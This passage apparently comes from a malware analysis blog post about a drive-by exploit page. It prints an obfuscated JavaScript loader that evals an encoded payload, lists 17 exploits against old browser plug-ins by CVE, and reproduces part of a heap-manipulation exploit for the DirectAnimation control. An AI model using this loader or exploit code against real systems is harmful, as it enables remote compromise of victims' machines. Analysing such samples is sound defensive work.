  &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;vjHVVi9s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;EFWwHQWBlb&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;VqiKaGXn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;lQMLLno&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;CoZtfIDFYl&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;LIIVFZwmlhNqxo&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;W018sXwS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;ykerJQuIiCo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;vjHVVi9s&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;gkkYR9OOwch6&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;vjHVVi9s&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;qyBlQcNBGEVh0&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;vjHVVi9s&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
    &lt;span class="nx"&gt;OLcO9M0gn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
      &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
      &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
      &lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;LIIVFZwmlhNqxo&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;EFWwHQWBlb&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;lQMLLno&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;LIIVFZwmlhNqxo&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;vjHVVi9s&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;LIIVFZwmlhNqxo&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;CoZtfIDFYl=Ma&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;th.m&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;in(EFWwHQWBlb,lQMLLno)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="nx"&gt;CoZtfIDFYl&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;vjHVVi9s&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;CoZtfIDFYl&lt;/span&gt;&lt;span class="o"&gt;--,&lt;/span&gt;&lt;span class="nx"&gt;EFWwHQWBlb&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;qyBlQcNBGEVh0&lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;OLcO9M0gn&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;VqiKaGXn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ykerJQuIiCo&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;gkkYR9OOwch6&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;gkkYR9OOwch6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;W018sXwS&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="nx"&gt;v8P6GEVcq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;149&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="nx"&gt;qyBlQcNBGEVh0&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;qyBlQcNBGEVh0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;gkkYR9OOwch6&lt;/span&gt;&lt;span class="o"&gt;-=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;gkkYR9OOwch6&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;W018sXwS&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;QCDhu&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;6AMJaSShJy3rJJUiDq6rlyPFLi3fGK3NJeLKJ2oFOooNLe6OLoiK@&lt;/span&gt;
&lt;span class="s2"&gt;  ... &lt;/span&gt;
&lt;span class="s2"&gt;  AzmNJ2mBc0PwD396AMJaAM97LSL6AMJae&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sK5tVpH6uQTNjz&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;QCDhu&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After the initial deobfuscation step (nothing too fancy here, this time), the
actual code is available in the clear. Two surprises here. First, as I said,
there are 17 exploits:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nx"&gt;mdac&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;office&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;wfi&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;com&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;creative&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;wks&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;ogame&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;ca&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;buddy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;gomweb&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;xmlcore&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;quick&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;real&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="nx"&gt;ntaudio&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
     &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;dani&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The exploits are targeting:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;MDAC vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0003"&gt;CVE-2006-0003&lt;/a&gt;) and similar. The list of affected classids is suspiciously identical to the corresponding &lt;a href="http://www.milw0rm.com/exploits/2164"&gt;milw0rm's exploit&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;WebViewFolder setSlice vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3730"&gt;CVE-2006-3730&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;CreateControlRange vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0055"&gt;CVE-2005-0055&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;DirectAnimation PathControl vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4777"&gt;CVE-2006-4777&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Snapshot Viewer vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2463"&gt;CVE-2008-2463&lt;/a&gt;). Thirteen different Windows versions (languages) are supported.&lt;/li&gt;
&lt;li&gt;Sina Downloader.DLoader.1 vulnerability (&lt;a href="http://www.securityfocus.com/bid/30223/info"&gt;BID-30223&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;WksPictureInterface vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1898"&gt;CVE-2008-2898&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Ourgame IEStartNative vulnerability (&lt;a href="http://secunia.com/advisories/30469"&gt;SA-30469&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;CA AddColumn vulnerability (&lt;a href="http://www.securityfocus.com/bid/28268"&gt;BID-28268&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;SuperBuddy LinkSBIcons vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5820"&gt;CVE-2006-5820&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;GomPlayer OpenURL vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5779"&gt;CVE-2007-5779&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;XMLHTTP setRequestHeader vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5745"&gt;CVE-2006-5745&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;QuickTime RTSP vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6166"&gt;CVE-2007-6166&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;RealPlayer Console vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1309"&gt;CVE-2008-1309&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;NCTAudioFile2 SetFormatLikeSample vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0018"&gt;CVE-2007-0018&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Creative CacheFolder vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0955"&gt;CVE-2008-0955&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;collab.CollabEmailInfo vulnerability (&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659"&gt;CVE-2007-5659&lt;/a&gt; or &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0655"&gt;CVE-2008-0655&lt;/a&gt;).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Second, the code doesn't use the usual heap spraying technique, but an
adaptation of the &lt;a href="" title="http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Whitepaper/bh-eu-07-sotirov-WP.pdf"&gt;Heap Feng
Shui&lt;/a&gt;
technique by Alex Sotirov. For example, the exploit for the DirectAnimation vulnerability is:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;dani&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;cobj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;DirectAnimation.PathControl&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
            &lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="nx"&gt;init&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;jmpecx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0c0c0c0c&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;vtable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x7ceb9090&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;124&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
                &lt;span class="nx"&gt;vtable&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;jmpecx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nx"&gt;vtable&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;substr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1008&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;138&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;fakeObjPtr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;heapBase&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x688&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;1008&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;fakeObjChunk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;substr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; 
                &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x200c&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;/2) + addr(fakeObjPtr) + padding.substr(0, 14/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nx"&gt;CollectGarbage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 
            &lt;span class="nx"&gt;flush&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="nx"&gt;alloc_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;vtable&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
